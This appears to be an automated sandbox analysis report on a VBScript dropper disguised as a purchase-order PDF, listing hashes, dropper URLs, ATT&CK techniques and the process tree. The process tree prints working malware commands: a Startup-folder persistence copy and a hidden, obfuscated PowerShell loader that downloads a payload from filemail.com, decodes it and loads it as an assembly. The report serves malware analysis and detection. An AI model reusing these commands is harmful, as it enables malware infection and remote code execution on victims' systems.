879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a

General

Target

PO 2725724312_pdf.vbs
Size

12KB
MD5

2c548eb64145d9cd7308584191ff0976
SHA1

f2a0f23393dbe76a37819e3b76b7cb24070d696d
SHA256

879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a
SHA512

85d3f5ecab588ae6b715dccd14bfb6f5f2d729ddc5abf2bedb62cd6b3ce5bf3049d2615dade76993e76b683de76f443da93a1f273efe420d1c7bd626379dcf76
SSDEEP

192:k9L/aGdqjaQlUsQRwitSUCUaQlWL3MgZrdGHRkfkI:km/5+ww3ScgZrdGHRk8I

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	3216	WScript.exe
6	3216	WScript.exe
26	2884	powershell.exe
28	2884	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4736	powershell.exe
2884	powershell.exe
376	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5092	cmd.exe
4940	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4940	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
376	powershell.exe
376	powershell.exe
4736	powershell.exe
4736	powershell.exe
2884	powershell.exe
2884	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	376	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3216 wrote to memory of 5092	3216	WScript.exe	83
PID 3216 wrote to memory of 5092	3216	WScript.exe	83
PID 5092 wrote to memory of 4940	5092	cmd.exe	85
PID 5092 wrote to memory of 4940	5092	cmd.exe	85
PID 5092 wrote to memory of 376	5092	cmd.exe	100
PID 5092 wrote to memory of 376	5092	cmd.exe	100
PID 3216 wrote to memory of 4736	3216	WScript.exe	101
PID 3216 wrote to memory of 4736	3216	WScript.exe	101
PID 4736 wrote to memory of 2884	4736	powershell.exe	103
PID 4736 wrote to memory of 2884	4736	powershell.exe	103

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO 2725724312_pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PO 2725724312_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PO 2725724312_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggKFtzVHJJbkddJHZFUkJPc2VwUmVmRXJlTmNFKVsxLDNdKydYJy1Kb2lOJycpICgoJ3MnKydoT2ltYWdlVXJsID0gaDVTaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvJysnbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT0yQWFfYlcnKydvOVJlJysndTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyJysnblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBoNVM7c2hPd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtzaE9pbWFnZUJ5dGVzID0gc2hPd2ViQ2xpZW50LkRvd25sb2FkRGF0YShzaE9pJysnbWFnZVVybCk7c2hPaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nJysnXTo6VVRGOC5HZXRTdHJpbmcnKycoc2hPaW1hZ2VCeXRlcyk7c2hPc3RhcnRGbGFnID0gaDVTPDxCQVNFNjRfU1RBUlQ+Pmg1UztzaE9lbmRGbGFnID0gaDVTPDxCQVNFNjRfRU5EPj5oNVM7c2hPc3RhcnRJbmRleCA9IHNoT2ltYWdlVGV4dC5JbmRleE9mKHNoT3N0YXJ0RmxhZyk7c2hPZW5kSW5kZXggPSBzaE9pbWFnZScrJ1RleHQuSW5kZXhPZihzaE9lbmRGbGFnKTtzaE9zdGFydEluJysnZGV4IC1nZSAwIC1hbmQgc2hPZW5kSW5kZXggLWd0IHNoT3N0YXJ0SW5kZXg7c2hPc3RhcnRJbmRleCArPSBzaE8nKydzdGFydEZsYWcuTGVuZ3RoO3NoT2Jhc2U2NExlbmd0aCA9IHNoT2VuZEluZGV4IC0gc2hPc3RhcicrJ3RJbmRleDtzaE9iYXNlNjRDbycrJ21tYW5kID0gc2hPaW1hZ2VUZXh0LlN1YicrJ3N0cmluZyhzaE9zdGFydEluZGV4LCBzaE9iYXMnKydlNjRMZW5ndGgpO3NoT2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHNoT2JhJysnc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBTZHcgRm9yRWFjaC0nKydPYmplY3QgeyBzaE9fIH0pWy0xLi4tKHNoT2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07c2hPY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhzaE9iYXNlNjRSZXZlcnNlZCk7c2hPbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOicrJzpMb2FkKHNoT2NvbW1hJysnbmRCeXRlcyk7c2hPdicrJ2FpJysnTWV0aG8nKydkID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChoNVNWQUloNVMpOycrJ3NoT3ZhaU1ldGhvZC5JbnZva2Uoc2hPbnVsbCwgQChoNVMwL3RjcDBSL2QvZWUuZXRzYXAvLzpzcHR0aGg1UywgaDVTZGVzYXRpdmFkb2gnKyc1UywgaDVTZGVzYXRpdmFkb2g1UywgaDVTZGVzYXRpdmFkb2g1UywgaDVTTVNCdWlsZGg1UywgaDVTZGVzYXRpdmFkb2g1UywgaDVTZGVzYXRpdmFkb2g1UyxoNVNkZXNhdGl2YWRvaDVTLGg1U2Rlc2F0aXZhZG9oNVMsaDVTZGVzYXRpdmFkb2g1UyxoNVNkZXNhdGl2YWRvaDVTLGg1JysnU2Rlc2F0aXZhZG9oNVMsaDVTMWg1UyxoNVNkZXNhdGl2YWRvaDUnKydTKSk7JykuUkVwTEFDRSgoW0NoQVJdMTE1K1tDaEFSXTEwNCtbQ2hBUl03OSksJyQnKS5SRXBMQUNFKChbQ2hBUl0xMDQrW0NoQVJdNTMrW0NoQVJdODMpLFtzdHJpbkddW0NoQVJdMzkpLlJFcExBQ0UoJ1NkdycsW3N0cmluR11bQ2hBUl0xMjQpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( ([sTrInG]$vERBOsepRefEreNcE)[1,3]+'X'-JoiN'') (('s'+'hOimageUrl = h5Shttps://1017.filemail.co'+'m/api/file/get?filekey=2Aa_bW'+'o9Re'+'u45t7BU1kVgsd9pT9pgSSlvStGr'+'nTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f h5S;shOwebClient = New-Object System.Net.WebClient;shOimageBytes = shOwebClient.DownloadData(shOi'+'mageUrl);shOimageText = [System.Text.Encoding'+']::UTF8.GetString'+'(shOimageBytes);shOstartFlag = h5S<<BASE64_START>>h5S;shOendFlag = h5S<<BASE64_END>>h5S;shOstartIndex = shOimageText.IndexOf(shOstartFlag);shOendIndex = shOimage'+'Text.IndexOf(shOendFlag);shOstartIn'+'dex -ge 0 -and shOendIndex -gt shOstartIndex;shOstartIndex += shO'+'startFlag.Length;shObase64Length = shOendIndex - shOstar'+'tIndex;shObase64Co'+'mmand = shOimageText.Sub'+'string(shOstartIndex, shObas'+'e64Length);shObase64Reversed = -join (shOba'+'se64Command.ToCharArray() Sdw ForEach-'+'Object { shO_ })[-1..-(shObase64Command.Length)];shOcommandBytes = [System.Convert]::FromBase64String(shObase64Reversed);shOloadedAssembly = [System.Reflection.Assembly]:'+':Load(shOcomma'+'ndBytes);shOv'+'ai'+'Metho'+'d = [dnlib.IO.Home].GetMethod(h5SVAIh5S);'+'shOvaiMethod.Invoke(shOnull, @(h5S0/tcp0R/d/ee.etsap//:sptthh5S, h5Sdesativadoh'+'5S, h5Sdesativadoh5S, h5Sdesativadoh5S, h5SMSBuildh5S, h5Sdesativadoh5S, h5Sdesativadoh5S,h5Sdesativadoh5S,h5Sdesativadoh5S,h5Sdesativadoh5S,h5Sdesativadoh5S,h5'+'Sdesativadoh5S,h5S1h5S,h5Sdesativadoh5'+'S));').REpLACE(([ChAR]115+[ChAR]104+[ChAR]79),'$').REpLACE(([ChAR]104+[ChAR]53+[ChAR]83),[strinG][ChAR]39).REpLACE('Sdw',[strinG][ChAR]124) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6c47b3f4e68eebd47e9332eebfd2dd4e

SHA1
67f0b143336d7db7b281ed3de5e877fa87261834

SHA256
8c48b1f2338e5b24094821f41121d2221f1cb3200338f46df49f64d1c4bc3e0c

SHA512
0acf302a9fc971ef9df65ed42c47ea17828e54dff685f4434f360556fd27cdc26a75069f00dcdc14ba174893c6fd7a2cfd8c6c07be3ce35dafee0a006914eaca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
69ad79d2dce6f04a93cc45b60125aa14

SHA1
25e651728527e9dc6b17e60f134257e8f02c3440

SHA256
4ab7f61615d1e3637241e15259f3a6bd2e5adc06b51fd07df3986b279b0b1386

SHA512
dfbec81bcea33c1a364daef46a00c88928268b30a5dfe9dfbc4bfaac9747578ae5cfa97761d711703ee0261df538fa8b22695e05e0a9a571046ad96a07578f83

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ii10vq5j.vvt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/376-1-0x00007FFAAF393000-0x00007FFAAF395000-memory.dmp

Filesize
8KB

Download
memory/376-2-0x0000022F513D0000-0x0000022F513F2000-memory.dmp

Filesize
136KB

Download
memory/376-12-0x00007FFAAF390000-0x00007FFAAFE51000-memory.dmp

Filesize
10.8MB

Download
memory/376-13-0x00007FFAAF390000-0x00007FFAAFE51000-memory.dmp

Filesize
10.8MB

Download
memory/376-16-0x00007FFAAF390000-0x00007FFAAFE51000-memory.dmp

Filesize
10.8MB

Download
memory/376-17-0x00007FFAAF390000-0x00007FFAAFE51000-memory.dmp

Filesize
10.8MB

Download
memory/2884-38-0x000001F4FBC70000-0x000001F4FBDC8000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing